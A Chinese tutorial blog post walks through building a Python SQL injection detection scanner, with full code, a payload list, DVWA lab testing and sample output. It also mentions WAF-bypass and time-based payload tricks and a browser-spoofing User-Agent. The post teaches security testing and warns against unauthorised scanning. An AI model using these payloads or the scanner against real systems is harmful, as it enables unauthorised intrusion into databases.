用 Python 写 SQL 注入检测工具:从原理到实战(附完整代码)

在这里插入图片描述

“学过 Python 爬虫,会用 requests 发请求,却不知道怎么改成安全检测工具;知道 SQL 注入是‘拼接漏洞’,但对着靶机输了半天 Payload,还是分不清‘有漏洞’和‘没漏洞’的区别”—— 这是计算机专业转行网络安全时,落地安全工具开发最常见的困境。

其实 SQL 注入检测工具的核心逻辑很简单:用 Python 模拟 “用户输入恶意 Payload→发送请求→判断响应是否异常” 的过程,不需要复杂算法,甚至不用深入理解 SQL 语法细节。本文从 “原理通俗化→工具模块化→实战验证” 三个维度,带你写出第一个能实际用的 SQL 注入检测工具,全程代码带注释,复制就能运行,让你真切感受到 “Python 基础 + 安全场景 = 安全工具” 的转化过程。

一、先搞懂:SQL 注入检测的 “核心逻辑”(不用背学术定义)

不用纠结 “布尔盲注”“时间盲注” 这些复杂概念,新手先掌握 “基于错误的 SQL 注入检测”—— 这是最直观、最适合工具化的检测方式,核心就 3 步:

  1. 正常请求:向目标接口发送 “合法参数”(如id=1),记录正常响应(比如页面显示 “用户信息”);

  2. 注入请求:发送 “带恶意 Payload 的参数”(如id=1’),故意让 SQL 语句语法错误;

  3. 对比响应:如果注入请求的响应包含 “SQL 语法错误”“You have an error in your SQL syntax” 等关键词,说明参数未过滤,存在 SQL 注入漏洞。

举个通俗例子

  • 后台正常 SQL:SELECT * FROM user WHERE id=1(合法参数,正常执行);

  • 注入后 SQL:SELECT * FROM user WHERE id=1’(多了一个单引号,SQL 语法错误,数据库会返回错误信息);

  • 工具只要捕捉到这个 “错误信息”,就能判断 “这里有 SQL 注入漏洞”。

二、工具设计:明确 “能做什么”“不能做什么”(避免贪多求全)

新手开发工具最容易犯 “功能堆砌” 的错,我们的工具聚焦 “核心刚需”,先实现 3 个实用功能:

  1. 支持 GET 请求检测:比如http://xxx.com/user?id=1这类 URL 参数注入;

  2. 支持 POST 请求检测:比如登录表单、提交数据等 POST 参数注入;

  3. 内置常见 Payload:包含 “单引号”“OR 1=1” 等基础 Payload,覆盖 80% 基础漏洞场景;

  4. 输出检测报告:明确标记 “有漏洞 / 无漏洞”,并显示触发漏洞的 Payload 和响应关键词。

不做什么(避免新手踩坑):

  • 不支持 “盲注检测”(需要判断页面细微差异,逻辑复杂,后续再进阶);

  • 不支持 “多线程扫描”(先保证单线程稳定运行,再优化效率);

  • 不支持 “自动利用漏洞”(工具只做 “检测”,不做 “攻击”,避免法律风险)。

三、环境准备:3 分钟搭好开发环境(新手无压力)

不需要复杂配置,用你已有的 Python 环境,安装 2 个基础库即可:

库名称 作用 安装命令
requests 发送 HTTP 请求(GET/POST) pip install requests
urllib.parse 处理 URL 编码(避免参数乱码) Python 自带,无需额外安装

环境验证

打开 Python 终端,输入以下代码,无报错则环境正常:

import requests
response = requests.get("https://www.baidu.com")
print("请求状态码:", response.status_code)  # 输出200即正常

四、代码实现:分模块写工具(每步都带注释)

我们把工具拆成 “4 个核心函数”,每个函数负责一个功能,逻辑清晰,方便后续修改和扩展:

1. 模块 1:生成检测用的 Payload(不用自己记,工具自动带)

先定义常见的基础 Payload,覆盖 “语法错误”“逻辑绕过” 等场景,新手后续可自己扩展:

def get_sql_injection_payloads():
    """
    生成SQL注入检测Payload列表
    返回:Payload字符串列表
    """
    return [
        # 1. 语法错误型Payload(故意让SQL报错)
        "'",          # 单引号闭合,触发语法错误
        "\"",         # 双引号闭合(针对用双引号包裹参数的场景)
        "1'",         # 数字+单引号(如id=1')
        "1\"",        # 数字+双引号
        # 2. 逻辑绕过型Payload(判断是否能改变查询结果)
        "1 OR 1=1",   # 让查询条件永远为真(如id=1 OR 1=1)
        "1' OR 1=1-- ",# 单引号闭合+逻辑绕过+注释多余部分
        "1\" OR 1=1-- " # 双引号版本
    ]

2. 模块 2:发送 HTTP 请求(支持 GET/POST,处理编码问题)

封装一个通用请求函数,解决 “参数编码”“超时重试” 等新手常踩的坑:

import requests
from urllib.parse import urlencode

def send_request(url, method="GET", params=None, data=None, timeout=5):
    """
    发送HTTP请求,返回响应内容
    参数:
    - url:目标URL(如http://xxx.com/user)
    - method:请求方法(GET/POST)
    - params:GET参数(字典,如{"id": "1"})
    - data:POST参数(字典,如{"username": "admin", "password": "123"})
    - timeout:请求超时时间(默认5秒,避免卡死)
    返回:
    - response_text:响应文本(str),超时或报错返回空字符串
    - status_code:响应状态码(int),超时或报错返回0
    """
    # 设置请求头,模拟浏览器(避免被目标识别为爬虫/工具)
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0 Safari/537.36",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Connection": "keep-alive"
    }

    try:
        if method.upper() == "GET":
            # GET请求:参数拼在URL后,自动处理编码
            response = requests.get(
                url=url,
                params=params,  # requests会自动编码参数,避免乱码
                headers=headers,
                timeout=timeout,
                verify=False  # 关闭SSL证书验证(新手测试靶机用,生产环境需开启)
            )
        elif method.upper() == "POST":
            # POST请求:参数放在请求体中
            response = requests.post(
                url=url,
                params=params,  # URL中的参数(如有)
                data=data,      # POST表单数据
                headers=headers,
                timeout=timeout,
                verify=False
            )
        else:
            print(f"不支持的请求方法:{method}")
            return "", 0

        # 处理响应编码(避免中文乱码)
        response.encoding = response.apparent_encoding
        return response.text, response.status_code

    except requests.exceptions.Timeout:
        print(f"请求超时({timeout}秒):{url}")
        return "", 0
    except requests.exceptions.ConnectionError:
        print(f"连接失败:{url}")
        return "", 0
    except Exception as e:
        print(f"请求出错:{str(e)}")
        return "", 0

3. 模块 3:核心检测逻辑(对比响应,判断是否有漏洞)

这是工具的 “大脑”,通过对比 “正常请求” 和 “注入请求” 的响应,判断是否存在漏洞:

def detect_sql_injection(url, method="GET", target_param=None, other_params=None):
    """
    SQL注入检测核心逻辑
    参数:
    - url:目标URL(如http://xxx.com/user)
    - method:请求方法(GET/POST)
    - target_param:待检测的参数名(如"id",即要测试的注入点)
    - other_params:其他非检测参数(字典,如{"page": "1"},非必填)
    返回:
    - 检测结果字典(含是否有漏洞、Payload、响应关键词等)
    """
    # 初始化参数(处理默认值)
    other_params = other_params if other_params else {}
    payloads = get_sql_injection_payloads()
    vulnerable_results = []  # 存储有漏洞的结果

    # 1. 先发送正常请求,获取基准响应(判断目标是否正常可用)
    normal_params = other_params.copy()
    # 给待检测参数设一个合法值(如"1")
    normal_params[target_param] = "1"
    normal_response, normal_status = send_request(
        url=url,
        method=method,
        params=normal_params if method == "GET" else None,
        data=normal_params if method == "POST" else None
    )

    if normal_status != 200 or not normal_response:
        return {
            "status": "error",
            "message": f"目标不可用,正常请求状态码:{normal_status}"
        }

    # 2. 遍历Payload,逐个检测
    print(f"\n开始检测 {url} 的 {target_param} 参数({method}请求)...")
    for payload in payloads:
        # 构造注入参数(待检测参数用Payload,其他参数不变)
        inject_params = other_params.copy()
        inject_params[target_param] = payload

        # 发送注入请求
        inject_response, inject_status = send_request(
            url=url,
            method=method,
            params=inject_params if method == "GET" else None,
            data=inject_params if method == "POST" else None
        )

        if inject_status != 200 or not inject_response:
            print(f"Payload {payload}:请求失败,跳过")
            continue

        # 3. 判断是否存在漏洞(检测响应中是否有SQL错误关键词)
        sql_error_keywords = [
            "You have an error in your SQL syntax",  # MySQL语法错误
            "SQL syntax error",                      # 通用SQL错误
            "Microsoft OLE DB Provider for SQL Server",  # SQL Server错误
            "Unclosed quotation mark after the character string",  # 未闭合的引号
            "MySQL server version for the right syntax to use"  # MySQL版本相关错误
        ]

        # 检查是否包含任意一个错误关键词,且与正常响应差异明显
        has_error = any(keyword in inject_response for keyword in sql_error_keywords)
        # 避免误判:注入响应与正常响应差异要足够大(比如长度差超过100字符)
        response_diff = abs(len(inject_response) - len(normal_response)) > 100

        if has_error and response_diff:
            # 记录有漏洞的结果
            vulnerable_results.append({
                "payload": payload,
                "error_keyword": [k for k in sql_error_keywords if k in inject_response][0],
                "response_length": len(inject_response)
            })
            print(f"✅ Payload {payload}:发现SQL注入漏洞!触发错误:{vulnerable_results[-1]['error_keyword']}")
        else:
            print(f"❌ Payload {payload}:未发现漏洞")

    # 4. 整理检测结果
    if vulnerable_results:
        return {
            "status": "vulnerable",  # 有漏洞
            "target_url": url,
            "target_param": target_param,
            "request_method": method,
            "vulnerable_payloads": vulnerable_results,
            "message": f"共发现 {len(vulnerable_results)} 个有效Payload"
        }
    else:
        return {
            "status": "safe",  # 无漏洞
            "target_url": url,
            "target_param": target_param,
            "request_method": method,
            "message": "未发现SQL注入漏洞(基础Payload检测)"
        }

4. 模块 4:输出检测报告(直观展示结果,方便后续分析)

把检测结果整理成易读的格式,支持打印到控制台,后续可扩展为 HTML 报告:

def print_detection_report(result):
    """
    打印检测报告
    参数:result - detect_sql_injection返回的结果字典
    """
    print("\n" + "="*50)
    print("SQL注入检测报告")
    print("="*50)

    if result["status"] == "error":
        print(f"❌ 检测失败:{result['message']}")
    elif result["status"] == "vulnerable":
        print(f"⚠️  检测结果:目标存在SQL注入漏洞!")
        print(f"目标URL:{result['target_url']}")
        print(f"检测参数:{result['target_param']}({result['request_method']}请求)")
        print(f"有效Payload数量:{len(result['vulnerable_payloads'])}")
        print("\n详细Payload信息:")
        for i, payload_info in enumerate(result['vulnerable_payloads'], 1):
            print(f"{i}. Payload:{payload_info['payload']}")
            print(f"   触发错误:{payload_info['error_keyword']}")
            print(f"   响应长度:{payload_info['response_length']}")
    else:
        print(f"✅ 检测结果:未发现SQL注入漏洞")
        print(f"目标URL:{result['target_url']}")
        print(f"检测参数:{result['target_param']}({result['request_method']}请求)")
    print("="*50 + "\n")

5. 工具入口:调用函数,开始检测(新手直接改参数即可)

最后写一个入口函数,新手只需修改target_config中的配置,就能测试自己的靶场:

def main():
    # 配置检测目标(新手只需修改这里!)
    target_configs = [
        # 配置1:检测GET请求(DVWA的SQL注入模块)
        {
            "url": "http://192.168.71.131/dvwa/vulnerabilities/sqli/",
            "method": "GET",
            "target_param": "id",  # 要检测的参数(注入点)
            "other_params": {
                "Submit": "Submit",  # 其他固定参数(如提交按钮的参数)
                "user_token": "b1234567890abcdef"  # DVWA的CSRF令牌(需从页面获取,后文讲怎么找)
            }
        },
        # 配置2:检测POST请求(比如登录表单,可自行扩展)
        # {
        #     "url": "http://192.168.71.131/dvwa/login.php",
        #     "method": "POST",
        #     "target_param": "username",  # 测试用户名参数是否有注入
        #     "other_params": {
        #         "password": "123456",
        #         "Login": "Login"
        #     }
        # }
    ]

    # 遍历配置,逐个检测
    for config in target_configs:
        detection_result = detect_sql_injection(
            url=config["url"],
            method=config["method"],
            target_param=config["target_param"],
            other_params=config["other_params"]
        )
        print_detection_report(detection_result)

if __name__ == "__main__":
    main()

五、实战测试:在 DVWA 靶场验证工具(10 分钟出结果)

工具写好后,必须在授权靶场测试(禁止扫描真实网站!),推荐用 DVWA(Web 漏洞练习平台),步骤如下:

1. 准备 DVWA 靶场

  1. 按前文《Kali Linux 入门实战》中的方法,在 Kali 中部署 DVWA;

  2. 登录 DVWA(默认账号 admin/password),进入 “DVWA Security”,将安全等级设为 “Low”(关闭防护,方便工具检测);

  3. 进入 “SQL Injection” 模块(GET 请求注入场景),观察 URL:http://192.168.71.131/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit&user_token=xxx—— 这里的id就是我们要检测的参数,user_token是 DVWA 的 CSRF 令牌(必须带上,否则请求会被拒绝)。

2. 获取 CSRF 令牌(关键!否则工具会请求失败)

DVWA 的 Low 等级也需要user_token参数,获取方法:

  1. 打开 DVWA 的 SQL Injection 页面,按 F12 打开浏览器开发者工具;

  2. 刷新页面,在 “Elements” 标签中搜索 “user_token”,找到类似这样的代码:

<input type="hidden" name="user_token" value="b1234567890abcdef">
  1. 复制value的值(如b1234567890abcdef),替换工具target_configs中的user_token参数。

3. 运行工具,查看结果

  1. 保存工具代码为sql_injection_detector.py

  2. 在终端运行:python sql_injection_detector.py

  3. 预期输出(类似这样):

开始检测 http://192.168.71.131/dvwa/vulnerabilities/sqli/ 的 id 参数(GET请求)...
✅ Payload ':发现SQL注入漏洞!触发错误:You have an error in your SQL syntax
❌ Payload ":未发现漏洞
✅ Payload 1':发现SQL注入漏洞!触发错误:You have an error in your SQL syntax
❌ Payload 1":未发现漏洞
✅ Payload 1 OR 1=1:发现SQL注入漏洞!触发错误:You have an error in your SQL syntax
✅ Payload 1' OR 1=1-- :发现SQL注入漏洞!触发错误:You have an error in your SQL syntax
❌ Payload 1" OR 1=1-- :未发现漏洞

==================================================
SQL注入检测报告
==================================================
⚠️  检测结果:目标存在SQL注入漏洞!
目标URL:http://192.168.71.131/dvwa/vulnerabilities/sqli/
检测参数:id(GET请求)
有效Payload数量:4

详细Payload信息:
1. Payload:'
   触发错误:You have an error in your SQL syntax
   响应长度:1250
2. Payload:1'
   触发错误:You have an error in your SQL syntax
   响应长度:1252
3. Payload:1 OR 1=1
   触发错误:You have an error in your SQL syntax
   响应长度:1260
4. Payload:1' OR 1=1-- 
   触发错误:You have an error in your SQL syntax
   响应长度:1258
==================================================
  1. 验证漏洞:复制工具发现的 Payload(如id=1’),粘贴到 DVWA 的输入框,点击 Submit—— 页面会显示 SQL 语法错误,证明工具检测结果正确!

六、避坑指南:新手 90% 会遇到的 5 个问题

1. 坑 1:请求失败,提示 “CSRF token missing”(DVWA 场景)

原因:DVWA 需要user_token参数防 CSRF,工具没带这个参数;

解决方案:按前文步骤获取user_token,添加到other_params中。

2. 坑 2:Payload 中的特殊字符被编码(如空格变成 %20)

原因:requests 库会自动编码 URL 参数,但 POST 参数编码可能不一致;

解决方案:GET 请求不用处理(requests 会自动编码),POST 请求若有问题,可手动编码:

# POST参数手动编码示例(如需)
from urllib.parse import urlencode
data = urlencode(inject_params)  # 编码为username=admin%27&password=123
response = requests.post(url, data=data, headers=headers)

3. 坑 3:工具误判 “有漏洞”,但实际无漏洞

原因:响应中包含 SQL 错误关键词,但不是注入导致的(比如页面本身有测试用的错误提示);

解决方案:加强判断条件,比如增加 “响应长度差异”(response_diff),只有错误关键词 + 长度差异大时才判定为漏洞(工具中已包含此逻辑)。

4. 坑 4:目标网站有 WAF,工具检测不到漏洞

原因:WAF 拦截了恶意 Payload(如返回 403);

解决方案:新手先在无 WAF 的靶场测试(如 DVWA Low 等级),后续再学 Payload 绕过技巧(如替换OR为oR,空格替换为/**/)。

5. 坑 5:法律风险!扫描真实网站被警告

红线提醒:工具只能用于自己搭建的靶场获得明确授权的测试环境,禁止扫描任何真实网站(包括公开的企业网站),否则可能触犯《网络安全法》!

七、进阶优化:让工具更实用(后续可扩展的功能)

当你能成功运行基础版工具后,可按以下方向优化,提升工具竞争力:

  1. 支持多线程扫描:用threading库同时检测多个参数 / URL,效率提升 10 倍;

  2. 扩展 Payload 字典:加入 “时间盲注 Payload”(如1’ AND SLEEP(5)-- ),支持盲注检测;

  3. 生成 HTML 报告:用jinja2模板引擎生成带图表的报告,方便提交给团队;

  4. 支持 Cookie 登录:添加cookies参数,检测需要登录的接口(如后台管理系统);

  5. Payload 绕过:对 Payload 进行简单变形(如OR→oR,=→like),绕过基础 WAF。

最后:工具开发的核心是 “解决实际问题”

很多转行用户觉得 “写安全工具需要高深技术”,但从这个 SQL 注入检测工具能看出:核心逻辑就是 “发送请求→对比响应”,用的都是 Python 基础库和简单判断。你的 Python 爬虫经验(requests 发请求)、字符串处理能力(判断响应关键词),都能直接转化为安全工具开发能力。

网络安全学习资料分享

为了帮助大家更好的学习网络安全,我把我从一线互联网大厂薅来的网络安全教程及资料分享给大家,里面的内容都是适合零基础小白的笔记和资料,不懂编程也能听懂、看懂,朋友们如果有需要这套网络安全教程+进阶学习资源包,可以扫码下方二维码限时免费领取(如遇扫码问题,可以在评论区留言领取哦)~

在这里插入图片描述

在这里插入图片描述

Logo

Agent 垂直技术社区,欢迎活跃、内容共建。

更多推荐